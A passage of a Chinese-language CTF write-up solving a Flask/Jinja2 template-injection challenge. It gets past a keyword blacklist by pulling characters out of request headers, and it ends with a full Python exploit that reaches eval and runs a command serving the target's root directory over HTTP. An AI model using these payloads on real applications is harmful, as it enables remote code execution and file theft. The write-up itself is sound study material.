'typing._TypingEllipsis'>", "<class 'typing.Annotated'>", "<class 'typing.NamedTuple'>", "<class 'typing.TypedDict'>", "<class 'typing.NewType'>", "<class 'typing.io'>", "<class 'typing.re'>", "<class '_json.Scanner'>", "<class '_json.Encoder'>", "<class 'json.decoder.JSONDecoder'>", "<class 'json.encoder.JSONEncoder'>", "<class 'selectors.BaseSelector'>", "<class '_socket.socket'>", "<class '_weakrefset._IterationGuard'>", "<class '_weakrefset.WeakSet'>", "<class 'threading._RLock'>", "<class 'threading.Condition'>", "<class 'threading.Semaphore'>", "<class 'threading.Event'>", "<class 'threading.Barrier'>", "<class 'threading.Thread'>", "<class 'socketserver.BaseServer'>", "<class 'socketserver._NoThreads'>", "<class 'socketserver.ThreadingMixIn'>", "<class 'socketserver.BaseRequestHandler'>", "<class 'datetime.date'>", "<class 'datetime.time'>", "<class 'datetime.timedelta'>", "<class 'datetime.tzinfo'>", "<class 'weakref.finalize._Info'>", "<class 'weakref.finalize'>", "<class '_random.Random'>", "<class '_sha512.sha384'>", "<class '_sha512.sha512'>", "<class 'urllib.parse._ResultMixinStr'>", "<class 'urllib.parse._ResultMixinBytes'>", "<class 'urllib.parse._NetlocResultMixinBase'>", "<class 'calendar._localized_month'>", "<class 'calendar._localized_day'>", "<class 'calendar.Calendar'>", "<class 'calendar.different_locale'>", "<class 'email._parseaddr.AddrlistClass'>", "<class '_struct.Struct'>", "<class '_struct.unpack_iterator'>", "<class 'string.Template'>", "<class 'string.Formatter'>", "<class 'email.charset.Charset'>", "<class 'email.header.Header'>", "<class 'email.header._ValueFormatter'>", "<class 'email._policybase._PolicyBase'>", "<class 'email.feedparser.BufferedSubFile'>", "<class 'email.feedparser.FeedParser'>", "<class 'email.parser.Parser'>", "<class 'email.parser.BytesParser'>", "<class 'email.message.Message'>", "<class 'http.client.HTTPConnection'>", "<class '_ssl._SSLContext'>", "<class '_ssl._SSLSocket'>", "<class '_ssl.MemoryBIO'>", "<class '_ssl.SSLSession'>", "<class '_ssl.Certificate'>", "<class 'ssl.SSLObject'>", "<class '_winapi.Overlapped'>", "<class 'mimetypes.MimeTypes'>", "<class 'zlib.Compress'>", "<class 'zlib.Decompress'>", "<class '_bz2.BZ2Compressor'>", "<class '_bz2.BZ2Decompressor'>", "<class '_lzma.LZMACompressor'>", "<class '_lzma.LZMADecompressor'>", "<class 'tokenize.Untokenizer'>", "<class 'traceback._Sentinel'>", "<class 'traceback.FrameSummary'>", "<class 'traceback.TracebackException'>", "<class 'logging.LogRecord'>", "<class 'logging.PercentStyle'>", "<class 'logging.Formatter'>", "<class 'logging.BufferingFormatter'>", "<class 'logging.Filter'>", "<class 'logging.Filterer'>", "<class 'logging.PlaceHolder'>", "<class 'logging.Manager'>", "<class 'logging.LoggerAdapter'>", "<class 'werkzeug._internal._Missing'>", "<class 'ast.AST'>", "<class 'markupsafe._MarkupEscapeHelper'>", "<class 'werkzeug.exceptions.Aborter'>", "<class 'werkzeug.datastructures.mixins.ImmutableListMixin'>", "<class 'werkzeug.datastructures.mixins.ImmutableHeadersMixin'>", "<class '_hashlib.HASH'>", "<class '_hashlib.HMAC'>", "<class '_blake2.blake2b'>", "<class '_blake2.blake2s'>", "<class 'tempfile._RandomNameSequence'>", "<class 'tempfile._TemporaryFileCloser'>", "<class 'tempfile._TemporaryFileWrapper'>", "<class 'tempfile.SpooledTemporaryFile'>", "<class 'tempfile.TemporaryDirectory'>", "<class 'urllib.request.Request'>", "<class 'urllib.request.OpenerDirector'>", "<class 'urllib.request.BaseHandler'>", "<class 'urllib.request.HTTPPasswordMgr'>", "<class 'urllib.request.AbstractBasicAuthHandler'>", "<class 'urllib.request.AbstractDigestAuthHandler'>", "<class 'urllib.request.URLopener'>", "<class 'urllib.request.ftpwrapper'>", "<class 'werkzeug.datastructures.auth.Authorization'>", "<class 'werkzeug.datastructures.auth.WWWAuthenticate'>", "<class 'ast.NodeVisitor'>", "<class 'dis.Bytecode'>", "<class 'inspect.BlockFinder'>", "<class 'inspect._void'>", "<class 'inspect._empty'>", "<class 'inspect.Parameter'>", "<class 'inspect.BoundArguments'>", "<class 'inspect.Signature'>", "<class 'werkzeug.datastructures.headers.Headers'>", "<class 'werkzeug.datastructures.file_storage.FileStorage'>", "<class 'werkzeug.datastructures.range.IfRange'>", "<class 'werkzeug.datastructures.range.Range'>", "<class 'werkzeug.datastructures.range.ContentRange'>", "<class 'colorama.ansi.AnsiCodes'>", "<class 'colorama.ansi.AnsiCursor'>", "<class 'CArgObject'>", "<class '_ctypes.CThunkObject'>", "<class '_ctypes._CData'>", "<class '_ctypes.CField'>", "<class '_ctypes.DictRemover'>", "<class '_ctypes.StructParam_Type'>", "<class 'ctypes.CDLL'>", "<class 'ctypes.LibraryLoader'>", "<class 'colorama.winterm.WinColor'>", "<class 'colorama.winterm.WinStyle'>", "<class 'colorama.winterm.WinTerm'>", "<class 'colorama.ansitowin32.StreamWrapper'>", "<class 'colorama.ansitowin32.AnsiToWin32'>", "<class 'werkzeug.serving.ForkingMixIn'>", "<class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>", "<class 'dataclasses._MISSING_TYPE'>", "<class 'dataclasses._KW_ONLY_TYPE'>", "<class 'dataclasses._FIELD_BASE'>", "<class 'dataclasses.InitVar'>", "<class 'dataclasses.Field'>", "<class 'dataclasses._DataclassParams'>", "<class 'werkzeug.sansio.multipart.Event'>", "<class 'werkzeug.sansio.multipart.MultipartDecoder'>", "<class 'werkzeug.sansio.multipart.MultipartEncoder'>", "<class 'pkgutil.ImpImporter'>", "<class 'pkgutil.ImpLoader'>", "<class 'unicodedata.UCD'>", "<class 'hmac.HMAC'>", "<class 'werkzeug.wsgi.ClosingIterator'>", "<class 'werkzeug.wsgi.FileWrapper'>", "<class 'werkzeug.wsgi._RangeWrapper'>", "<class 'werkzeug.formparser.FormDataParser'>", "<class 'werkzeug.formparser.MultiPartParser'>", "<class 'werkzeug.user_agent.UserAgent'>", "<class 'werkzeug.sansio.request.Request'>", "<class 'werkzeug.sansio.response.Response'>", "<class 'werkzeug.wrappers.response.ResponseStream'>", "<class 'werkzeug.test.EnvironBuilder'>", "<class 'werkzeug.test.Client'>", "<class 'werkzeug.test.Cookie'>", "<class 'werkzeug.local.Local'>", "<class 'werkzeug.local.LocalManager'>", "<class 'werkzeug.local._ProxyLookup'>", "<class 'decimal.Decimal'>", "<class 'decimal.Context'>", "<class 'decimal.SignalDictMixin'>", "<class 'decimal.ContextManager'>", "<class 'numbers.Number'>", "<class 'uuid.UUID'>", "<class 'flask.json.provider.JSONProvider'>", "<class 'gettext.NullTranslations'>", "<class 'click._compat._FixupStream'>", "<class 'click._compat._AtomicFile'>", "<class 'click._winconsole.ConsoleStream'>", "<class 'click.utils.LazyFile'>", "<class 'click.utils.KeepOpenFile'>", "<class 'click.utils.PacifyFlushWrapper'>", "<class 'click.types.ParamType'>", "<class 'click.parser.Option'>", "<class 'click.parser.Argument'>", "<class 'click.parser.ParsingState'>", "<class 'click.parser.OptionParser'>", "<class 'click.formatting.HelpFormatter'>", "<class 'click.core.Context'>", "<class 'click.core.BaseCommand'>", "<class 'click.core.Parameter'>", "<class 'werkzeug.routing.converters.BaseConverter'>", "<class 'difflib.SequenceMatcher'>", "<class 'difflib.Differ'>", "<class 'difflib.HtmlDiff'>", "<class 'pprint._safe_key'>", "<class 'pprint.PrettyPrinter'>", "<class 'werkzeug.routing.rules.RulePart'>", "<class 'werkzeug.routing.rules.RuleFactory'>", "<class 'werkzeug.routing.rules.RuleTemplate'>", "<class 'werkzeug.routing.matcher.State'>", "<class 'werkzeug.routing.matcher.StateMachineMatcher'>", "<class 'werkzeug.routing.map.Map'>", "<class 'werkzeug.routing.map.MapAdapter'>", "<class '_csv.Dialect'>", "<class '_csv.reader'>", "<class '_csv.writer'>", "<class 'csv.Dialect'>", "<class 'csv.DictReader'>", "<class 'csv.DictWriter'>", "<class 'csv.Sniffer'>", "<class 'pathlib._Flavour'>", "<class 'pathlib._Accessor'>", "<class 'pathlib._Selector'>", "<class 'pathlib._TerminatingSelector'>", "<class 'pathlib.PurePath'>", "<class 'zipfile.ZipInfo'>", "<class 'zipfile.LZMACompressor'>", "<class 'zipfile.LZMADecompressor'>", "<class 'zipfile._SharedFile'>", "<class 'zipfile._Tellable'>", "<class 'zipfile.ZipFile'>", "<class 'zipfile.Path'>", "<class 'textwrap.TextWrapper'>", "<class 'importlib.abc.Finder'>", "<class 'importlib.abc.MetaPathFinder'>", "<class 'importlib.abc.PathEntryFinder'>", "<class 'importlib.abc.ResourceReader'>", "<class 'importlib.metadata.Sectioned'>", "<class 'importlib.metadata.Deprecated'>", "<class 'importlib.metadata.FileHash'>", "<class 'importlib.metadata.Distribution'>", "<class 'importlib.metadata.DistributionFinder.Context'>", "<class 'importlib.metadata.FastPath'>", "<class 'importlib.metadata.Lookup'>", "<class 'importlib.metadata.Prepared'>", "<class 'subprocess.STARTUPINFO'>", "<class 'subprocess.CompletedProcess'>", "<class 'subprocess.Popen'>", "<class 'platform._Processor'>", "<class 'blinker._utilities.Symbol'>", "<class 'blinker.base.Signal'>", "<class 'flask.cli.ScriptInfo'>", "<class 'flask.ctx._AppCtxGlobals'>", "<class 'flask.ctx.AppContext'>", "<class 'flask.ctx.RequestContext'>", "<class '_pickle.Pdata'>", "<class '_pickle.PicklerMemoProxy'>", "<class '_pickle.UnpicklerMemoProxy'>", "<class '_pickle.Pickler'>", "<class '_pickle.Unpickler'>", "<class 'pickle._Framer'>", "<class 'pickle._Unframer'>", "<class 'pickle._Pickler'>", "<class 'pickle._Unpickler'>", "<class 'jinja2.bccache.Bucket'>", "<class 'jinja2.bccache.BytecodeCache'>", "<class 'jinja2.utils.MissingType'>", "<class 'jinja2.utils.LRUCache'>", "<class 'jinja2.utils.Cycler'>", "<class 'jinja2.utils.Joiner'>", "<class 'jinja2.utils.Namespace'>", "<class 'jinja2.nodes.EvalContext'>", "<class 'jinja2.nodes.Node'>", "<class 'jinja2.visitor.NodeVisitor'>", "<class 'jinja2.idtracking.Symbols'>", "<class 'jinja2.compiler.MacroRef'>", "<class 'jinja2.compiler.Frame'>", "<class 'jinja2.runtime.TemplateReference'>", "<class 'jinja2.runtime.Context'>", "<class 'jinja2.runtime.BlockReference'>", "<class 'jinja2.runtime.LoopContext'>", "<class 'jinja2.runtime.Macro'>", "<class 'jinja2.runtime.Undefined'>", "<class 'jinja2.lexer.Failure'>", "<class 'jinja2.lexer.TokenStreamIterator'>", "<class 'jinja2.lexer.TokenStream'>", "<class 'jinja2.lexer.Lexer'>", "<class 'jinja2.parser.Parser'>", "<class 'jinja2.environment.Environment'>", "<class 'jinja2.environment.Template'>", "<class 'jinja2.environment.TemplateModule'>", "<class 'jinja2.environment.TemplateExpression'>", "<class 'jinja2.environment.TemplateStream'>", "<class 'jinja2.loaders.BaseLoader'>", "<class 'flask.sansio.scaffold.Scaffold'>", "<class 'itsdangerous.signer.SigningAlgorithm'>", "<class 'itsdangerous.signer.Signer'>", "<class 'itsdangerous._json._CompactJSON'>", "<class 'flask.json.tag.JSONTag'>", "<class 'flask.json.tag.TaggedJSONSerializer'>", "<class 'flask.sessions.SessionInterface'>", "<class 'flask.sansio.blueprints.BlueprintSetupState'>", "<class 'dotenv.parser.Position'>", "<class 'dotenv.parser.Reader'>", "<class 'dotenv.variables.Atom'>", "<class 'dotenv.main.DotEnv'>"]

for index,x in enumerate(a):
if "click.utils.LazyFile" in x:
print(index,x)
break

​ 那么怎么获取__class__等魔术方法呢?核心在于通过请求头来获取黑名单字符串,再使用|attr()拼接来拼凑任意字符串

​ 首先通过request.mimetype可以获取Content-Type请求头的内容,这里我选择将他作为字符集,配合__getitem__来获取任意字符

​ 例如,我传入Content-Type: abcdefghijklmnopqrstuvwxyz_,那么request.mimetype|attr('__getitem__')(-1)就是_,而__getitem__也是黑名单,怎么办?利用Origin请求头传入__getitem__,再调用request.origin即可,组合起来就是:request.mimetype|attr(request.origin)(-1),这样就达成了获取任意需要的字符

​ 字符之间可以使用~来拼接成字符串

​ 接下来一步步构造所需字符串即可,可使用以下代码进行快速构建:

1
2
3
4
5
6
7
8
9
10
11
n = {'a':0,'b':1,'c':2,'d':3,'e':4,'f':5,'g':6,'h':7,'i':8,'j':9,'k':10,'l':11,'m':12,'n':13,'o':14,'p':15,'q':16,'r':17,'s':18,'t':19,'u':20,'v':21,'w':22,'x':23,'y':24,'z':25,'_':26}

def invert(s):
result = ""
for ch in s:
result += f"request.mimetype|attr(request.origin)({n[ch]})~"

result = result[:-1]
return result

print(invert("read"))

().__class__等同于()|attr('__class__'),照着这个样子拼接就行

​ 给出一些我拼接好的:

1
2
3
4
5
6
7
8
9
10
11
12
13
_  request.mimetype|attr(request.origin)(-1)

__class__ request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(2)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(0)+request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)

__base__ request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(1)~request.mimetype|attr(request.origin)(0)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(4)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)

__subclasses__ request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(20)~request.mimetype|attr(request.origin)(1)~request.mimetype|attr(request.origin)(2)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(0)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(4)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)

__init__ request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(8)~request.mimetype|attr(request.origin)(13)~request.mimetype|attr(request.origin)(8)~request.mimetype|attr(request.origin)(19)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)

__globals__ request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(6)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(14)~request.mimetype|attr(request.origin)(1)~request.mimetype|attr(request.origin)(0)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)

__builtins__ request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(1)~request.mimetype|attr(request.origin)(20)~request.mimetype|attr(request.origin)(8)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(19)~request.mimetype|attr(request.origin)(8)~request.mimetype|attr(request.origin)(13)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)

os.popen被删了不能直接用,这也是一开始没有直接调os而调eval的原因,使用__import__('os').popen('whoami').read()重新导入即可RCE,命令执行的部分可以通过request.referrer传入,当然慢慢拼接也可以,但是太麻烦了

​ 到了这一步尝试读取flag,发现是一个非常大的文件,通过ifconfig猜测题目出网,于是使用python3 -m http.server 8088尝试开启python web服务下载flag

image-20250406183713032

​ 得到的flag文件扔进010看了一下,找到flag:

image-20250406183833745

​ 最后完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
from urllib.parse import quote

def exp():
url = "http://127.0.0.1:8080"

# request.mimetype
# request.authorization.type
# request.authorization.token
# request.origin
# request.referrer

# <class 'click.utils.LazyFile'>
# payload = "#}{%print(().__class__.__base__.__subclasses__()[389].__init__.__globals__.__getitem__('__builtins__').eval('print(1)'))%}{#"

payload = "#}{%print(()|attr(request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(2)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(0)+request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1))|attr(request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(1)~request.mimetype|attr(request.origin)(0)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(4)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1))|attr(request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(20)~request.mimetype|attr(request.origin)(1)~request.mimetype|attr(request.origin)(2)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(0)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(4)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(-1)~request.mimetype|attr(request.origin)(-1))()|attr(request.origin)(389)|attr(request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(8)~request.mimetype|attr(request.origin)(13)~request.mimetype|attr(request.origin)(8)~request.mimetype|attr(request.origin)(19)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26))|attr(request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(6)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(14)~request.mimetype|attr(request.origin)(1)~request.mimetype|attr(request.origin)(0)~request.mimetype|attr(request.origin)(11)~request.mimetype|attr(request.origin)(18)~request.mimetype|attr(request.origin)(26)~request.mimetype|attr(request.origin)(26))|attr(request.origin)(request.authorization.type)|attr(request.origin)(request.authorization.token)(request.referrer))%}{#"
payload = quote(payload)

exp_url = url + "/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-"+ payload

header = {
"Content-Type": "abcdefghijklmnopqrstuvwxyz_",
"Authorization": "__builtins__ eval",
"Origin": '__getitem__',
"Referer": "__import__('os').popen('cd / && python3 -m http.server 8088').read()",
}

res = requests.get(exp_url,headers=header)

print(res.text.encode('utf-8'))

if __name__ == "__main__":
exp()
1
flag{N0w_y0u_sEEEEEEEEEEEEEEE_m3!!!!!!}

​ now_you_see_me_2过滤了更多,最后还是差一点就写出来了,可惜没时间喽,就不献丑啦